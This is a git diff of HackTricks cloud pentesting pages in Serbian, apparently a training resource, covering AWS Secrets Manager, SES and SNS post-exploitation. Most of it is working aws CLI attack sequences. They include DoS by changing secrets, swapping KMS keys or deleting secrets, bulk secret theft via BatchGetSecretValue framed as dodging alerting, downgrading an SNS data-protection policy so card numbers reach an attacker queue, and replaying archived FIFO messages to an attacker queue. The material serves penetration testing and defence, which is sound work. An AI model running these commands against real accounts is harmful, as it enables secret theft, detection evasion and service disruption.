+0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Read Secrets - -**secrets sami po sebi predstavljaju osetljive informacije**, [pogledajte privesc stranicu](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste naučili kako da ih pročitate. - -### DoS Change Secret Value - -Promenom vrednosti secret-a možete izazvati **DoS svih sistema koji zavise od te vrednosti.** - -> [!WARNING] -> Imajte na umu da se prethodne vrednosti takođe čuvaju, pa je jednostavno vratiti se na prethodnu vrednost. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS Change KMS key - -Ako napadač ima dozvolu secretsmanager:UpdateSecret, može da konfiguriše secret da koristi KMS key u vlasništvu napadača. Taj key je inicijalno podešen tako da svako može da mu pristupi i koristi ga, pa je moguće ažurirati secret novim key-jem. Ako key nije bio dostupan, secret ne bi mogao biti ažuriran. - -Nakon promene key-ja za secret, napadač menja konfiguraciju svog key-ja tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secreta, one će biti enkriptovane novim key-jem, i pošto nema pristupa tom key-ju, mogućnost preuzimanja secreta će biti izgubljena. - -Važno je napomenuti da će ta nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija i dalje enkriptovana originalnim KMS key-jem. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Deleting Secret - -Minimalan broj dana za brisanje secret-a je 7 -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -Moguće je vratiti secret, što omogućava obnavljanje secrets koji su zakazani za brisanje, pošto je minimalni period brisanja secrets 7 dana, a maksimalni 30 dana. U kombinaciji sa permisijom secretsmanager:GetSecretValue, ovo omogućava preuzimanje njihovog sadržaja. - -Da biste povratili secret koji je u procesu brisanja, možete koristiti sledeću komandu: -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -Ova akcija omogućava brisanje politike resursa koja kontroliše ko može da pristupi tajni. Ovo može dovesti do DoS-a ako je politika resursa konfigurisana da dopušta pristup određenom skupu korisnika. - -Da biste obrisali politiku resursa: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -Stanja tajne se koriste za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju koriste aplikacije, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti unazad ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i verifikuje novu verziju pre nego što je učini trenutnom. - -Aplikacije uvek čitaju verziju označenu sa AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti nevažeće kredencijale i mogu zakazati. - -AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili nepravilno dodeli, može izgledati da sve i dalje radi sa prethodnom verzijom. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - - - - - -### Mass Secret Exfiltration preko BatchGetSecretValue (do 20 po pozivu) - -Iskoristite Secrets Manager BatchGetSecretValue API da preuzmete do 20 secrets u jednom zahtevu. Ovo može dramatično smanjiti broj API poziva u poređenju sa ponavljanjem GetSecretValue za svaki secret. Ako se koriste filteri (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži po jedan GetSecretValue događaj za svaki secret preuzet u batch-u. - -Potrebne dozvole -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue for each target secret -- secretsmanager:ListSecrets if using --filters -- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager) - -> [!WARNING] -> Imajte na umu da sama dozvola `secretsmanager:BatchGetSecretValue` nije dovoljna za preuzimanje secrets — takođe vam je potrebna `secretsmanager:GetSecretValue` za svaki secret koji želite da preuzmete. - -Exfiltrate pomoću eksplicitne liste -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Exfiltrate preko filtera (tag key/value ili prefiks imena) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters Key=name,Values=MyApp -``` -Rukovanje delimičnim neuspesima -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -Uticaj -- Brzo “smash-and-grab” preuzimanje mnogih tajni uz manje API poziva, što potencijalno zaobilazi alerting podešen na skokove GetSecretValue. -- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj za svaku tajnu dohvaćenu u seriji. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..24ec915d1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,130 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Čitanje tajni + +**Tajne su same po sebi osetljive informacije**, [pogledajte privesc stranicu](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) da naučite kako ih pročitati. + +### DoS Promena vrednosti tajne + +Promenom vrednosti tajne možete izazvati **DoS svih sistema koji zavise od te vrednosti.** + +> [!WARNING] +> Imajte na umu da se prethodne vrednosti takođe čuvaju, tako da je lako vratiti se na prethodnu vrednost. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +Ako napadač ima dozvolu secretsmanager:UpdateSecret, može konfigurisati secret da koristi KMS key u vlasništvu napadača. Taj KMS key je inicijalno podešen tako da svako može da mu pristupi i koristi ga, pa je moguće ažurirati secret novim ključem. Ako ključ nije bio dostupan, secret se ne bi mogao ažurirati. + +Nakon promene key‑a za secret, napadač menja konfiguraciju svog key‑a tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secreta, one će biti šifrovane novim key‑om, i pošto neće postojati pristup tom key‑u, mogućnost preuzimanja secreta biće izgubljena. + +Važno je napomenuti da će ta nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija još uvek šifrovana originalnim KMS key‑em. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Brisanje tajne + +Minimalan broj dana za brisanje tajne je 7. +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +Moguće je vratiti tajnu, što omogućava obnavljanje tajni koje su zakazane za brisanje, pošto je minimalni period brisanja 7 dana, a maksimalni 30 dana. U kombinaciji sa dozvolom secretsmanager:GetSecretValue, ovo omogućava pristup njihovom sadržaju. + +Da biste povratili tajnu koja je u procesu brisanja, možete koristiti sledeću komandu: +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +Ova akcija omogućava brisanje politike resursa koja kontroliše ko može da pristupi tajni. To može dovesti do DoS-a ako je politika resursa konfigurisana da dozvoli pristup određenom skupu korisnika. + +Da biste izbrisali politiku resursa: +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +Stanja tajne koriste se za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju koriste aplikacije, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i verifikuje novu verziju pre nego što je učini trenutnom. + +Aplikacije uvek čitaju verziju označenu sa AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti neispravne kredencijale i mogu da otkažu. + +AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili pogrešno preusmeri, može izgledati da sve i dalje radi sa prethodnom verzijom. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Iskoristite Secrets Manager BatchGetSecretValue API da dohvatite do 20 secrets u jednom zahtevu. Ovo može drastično smanjiti broj API poziva u poređenju sa iterativnim pozivom GetSecretValue za svaki secret. Ako se koriste filters (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži jedan GetSecretValue događaj po svakom secret-u dohvaćenom u batch-u. + +Zahtevane dozvole +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue for each target secret +- secretsmanager:ListSecrets if using --filters +- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager) + +> [!WARNING] +> Imajte na umu da dozvola `secretsmanager:BatchGetSecretValue` nije dovoljna za dohvat tajni — takođe vam treba `secretsmanager:GetSecretValue` za svaki secret koji želite da dohvatite. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate pomoću filtera (tag key/value ili name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Rukovanje delimičnim neuspesima +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Uticaj +- Brzo “smash-and-grab” preuzimanje velikog broja tajni sa manje API calls, potencijalno zaobilaženje sistema za upozoravanje podešenog na skokove GetSecretValue. +- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj po tajni preuzetoj u batch-u. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md index 51df2c77b..f9b6a5c62 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -1,67 +1,69 @@ # AWS - SES Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SES Za više informacija pogledajte: {{#ref}} -../aws-services/aws-ses-enum.md +../../aws-services/aws-ses-enum.md {{#endref}} ### `ses:SendEmail` -Pošaljite email. +Pošaljite e-poštu. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Još uvek za testiranje. +Još nije testirano. ### `ses:SendRawEmail` -Pošaljite email. +Pošaljite e-poštu. ```bash aws ses send-raw-email --raw-message file://message.json ``` -Još uvek za testiranje. +Još treba testirati. ### `ses:SendTemplatedEmail` -Pošaljite email na osnovu šablona. +Pošaljite e-poruku zasnovanu na šablonu. ```bash aws ses send-templated-email --source --destination --template ``` -Još uvek za testiranje. +Još nije testirano. ### `ses:SendBulkTemplatedEmail` -Pošaljite email na više odredišta +Pošaljite e-poruku na više odredišta ```bash aws ses send-bulk-templated-email --source --template ``` -Još uvek za testiranje. +Još treba testirati. ### `ses:SendBulkEmail` -Pošaljite email na više odredišta. +Pošaljite e-poruku na više odredišta. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Pošaljite **bounce email** preko primljenog emaila (ukazujući da email nije mogao biti primljen). Ovo se može uraditi **do 24h nakon prijema** emaila. +Pošaljite **bounce email** za primljenu poruku (koja označava da poruka nije mogla biti dostavljena). Ovo se može uraditi **samo do 24h nakon primanja** poruke. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` +Još treba testirati. + ### `ses:SendCustomVerificationEmail` -Ovo će poslati prilagođeni verifikacioni email. Možda će vam biti potrebne dozvole i za kreiranje šablona emaila. +Ovo će poslati prilagođenu verifikacionu e-poruku. Možda će vam takođe biti potrebne dozvole za kreiranje predloška e-poruke. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Još uvek za testiranje. +Još treba testirati. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index 04095e23d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Za više informacija: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Disrupt Messages - -U nekoliko slučajeva, SNS teme se koriste za slanje poruka platformama koje se prate (emailovi, slack poruke...). Ako napadač spreči slanje poruka koje upozoravaju na njegovo prisustvo u oblaku, mogao bi ostati neotkriven. - -### `sns:DeleteTopic` - -Napadač bi mogao obrisati celu SNS temu, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na tu temu. -```bash -aws sns delete-topic --topic-arn -``` -**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisanu temu. - -### `sns:Publish` - -Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje nepredviđenih akcija ili iscrpljivanje resursa. -```bash -aws sns publish --topic-arn --message -``` -**Potencijalni uticaj**: Oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa. - -### `sns:SetTopicAttributes` - -Napadač bi mogao da izmeni atribute SNS teme, što bi potencijalno moglo uticati na njene performanse, bezbednost ili dostupnost. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjenja dostupnosti. - -### `sns:Subscribe`, `sns:Unsubscribe` - -Napadač bi mogao da se prijavi ili odjavi sa SNS teme, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na tu temu. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**Potencijalni uticaj**: Neovlašćen pristup porukama, prekid usluge za aplikacije koje se oslanjaju na pogođenu temu. - -### `sns:AddPermission` , `sns:RemovePermission` - -Napadač bi mogao da dodeli neovlašćenim korisnicima ili uslugama pristup SNS temi, ili da opozove dozvole za legitimne korisnike, uzrokujući prekide u normalnom funkcionisanju aplikacija koje se oslanjaju na temu. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu. - -### `sns:TagResource` , `sns:UntagResource` - -Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa SNS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..650cb0b91 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Za više informacija: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Onemogućavanje slanja poruka + +U nekoliko slučajeva, SNS topics se koriste za slanje poruka ka platformama koje se nadgledaju (e-mailovi, slack poruke...). Ako napadač onemogući slanje poruka koje upozoravaju na njegovo prisustvo u oblaku, mogao bi ostati neotkriven. + +### `sns:DeleteTopic` + +Napadač može obrisati ceo SNS topic, što dovodi do gubitka poruka i utiče na aplikacije koje zavise od tog topica. +```bash +aws sns delete-topic --topic-arn +``` +**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisani SNS topic. + +### `sns:Publish` + +Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS topic, što može dovesti do korupcije podataka, pokretanja neželjenih radnji ili iscrpljivanja resursa. +```bash +aws sns publish --topic-arn --message +``` +**Potencijalni uticaj**: Oštećenje podataka, neželjene radnje ili iscrpljivanje resursa. + +### `sns:SetTopicAttributes` + +Napadač bi mogao promeniti atribute SNS teme, što bi potencijalno uticalo na njene performanse, bezbednost ili dostupnost. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**Potencijalni uticaj**: Neodgovarajuće konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti. + +### `sns:Subscribe` , `sns:Unsubscribe` + +Napadač bi mogao da se pretplati ili odjavi sa SNS topic-a, potencijalno dobijajući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje zavise od tog topica. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Potencijalni uticaj**: Neovlašćen pristup porukama, prekid usluge za aplikacije koje se oslanjaju na pogođeni topic. + +### `sns:AddPermission` , `sns:RemovePermission` + +Napadač bi mogao dodeliti neovlašćenim korisnicima ili servisima pristup SNS topic-u, ili opozvati ovlašćenja legitimnim korisnicima, što bi prouzrokovalo poremećaje u normalnom funkcionisanju aplikacija koje se oslanjaju na taj topic. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog rada aplikacija koje se oslanjaju na temu. + +### `sns:TagResource` , `sns:UntagResource` + +Napadač može dodati, izmeniti ili ukloniti tagove sa SNS resursa, što može narušiti alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima. + +### Više SNS Post-Exploitation Techniques + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..655802cd1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection: zaobilaženje putem Policy Downgrade + +{{#include ../../../../banners/hacktricks-training.md}} + +Ako imate `sns:PutDataProtectionPolicy` na topic-u, možete promeniti njegov Message Data Protection policy sa Deidentify/Deny na Audit-only (ili ukloniti Outbound kontrole) tako da osetljive vrednosti (npr. brojevi kreditnih kartica) budu isporučene neizmenjene vašoj subscription. + +## Zahtevi +- Dozvole na ciljnom topic-u za pozivanje `sns:PutDataProtectionPolicy` (i obično `sns:Subscribe` ako želite da primate podatke). +- Standardni SNS topic (Message Data Protection podržan). + +## Koraci napada + +- Promenljive + +```bash +REGION=us-east-1 +``` + +1) Kreirajte standardni topic i napadačku SQS queue, i dozvolite samo ovom topic-u da šalje u queue + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) Priložite data protection policy koja maskira brojeve kreditnih kartica u outbound porukama + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) Pretplatite napadačku queue i objavite poruku sa test CC brojem, proverite maskiranje + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +Očekivani isječak prikazuje maskiranje (hashovi): +```json +"Message" : "payment:{cc:################}" +``` +4) Smanjite politiku na audit-only (bez deidentify/deny izjava koje utiču na Outbound) + +Za SNS, Audit statements moraju biti Inbound. Zamena politike sa Audit-only Inbound izjavom uklanja svaku Outbound de-identification, tako da poruke prolaze neizmenjene do pretplatnika. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) Objavite istu poruku i proverite da je nemaskirana vrednost isporučena +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Očekivani isječak prikazuje CC u čistom tekstu: +```text +4539894458086459 +``` +## Uticaj +- Prebacivanje topic-a sa de-identification/deny na audit-only (ili uklanjanje Outbound kontrola) omogućava da PII/secrets prolaze neizmenjeni do attacker-controlled subscriptions, omogućavajući data exfiltration koja bi inače bila maskirana ili blokirana. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..baf8e2ad7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Zloupotreba arhiviranja poruka na Amazon SNS FIFO topic-u za replay i exfiltrate prethodno objavljenih poruka na attacker-controlled SQS FIFO queue podešavanjem ReplayPolicy na subscription. + +- Servis: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- Zahtevi: Topic mora imati omogućen ArchivePolicy (message archiving). Attacker može Subscribe-ovati na topic i postaviti atribute na svoju subscription. Attacker kontroliše SQS FIFO queue i dozvoljava topic-u da šalje poruke. +- Uticaj: Istorijske poruke (objavljene pre subscription) mogu biti isporučene attacker endpoint-u. Replayed deliveries su označene sa Replayed=true u SNS envelope-u. + +## Preduslovi +- SNS FIFO topic sa omogućenim arhiviranjem: `ArchivePolicy` (npr. `{ "MessageRetentionPeriod": "2" }` za 2 dana). +- Attacker ima dozvole za: +- `sns:Subscribe` na ciljnom topic-u. +- `sns:SetSubscriptionAttributes` na kreiranoj subscription-i. +- Attacker ima SQS FIFO queue i može da priloži queue policy koji omogućava `sns:SendMessage` sa topic ARN-a. + +## Minimalne IAM dozvole +- Na topic-u: `sns:Subscribe`. +- Na subscription-u: `sns:SetSubscriptionAttributes`. +- Na queue-u: `sqs:SetQueueAttributes` za policy, i queue policy koja dozvoljava `sns:SendMessage` sa topic ARN-a. + +## Napad: Replay arhiviranih poruka na attacker SQS FIFO +Attacker subscribe-uje svoj SQS FIFO queue na victim SNS FIFO topic, zatim podešava `ReplayPolicy` na timestamp iz prošlosti (u okviru vremenskog perioda zadržavanja arhive). SNS odmah replay-uje odgovarajuće arhivirane poruke na novu subscription i označava ih sa `Replayed=true`. + +Notes: +- Timestamp koji se koristi u `ReplayPolicy` mora biti >= topic-ovog `BeginningArchiveTime`. Ako je raniji, API vraća `Invalid StartingPoint value`. +- Za SNS FIFO `Publish`, morate navesti `MessageGroupId` (i ili dedup ID ili omogućiti `ContentBasedDeduplication`). + +
+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
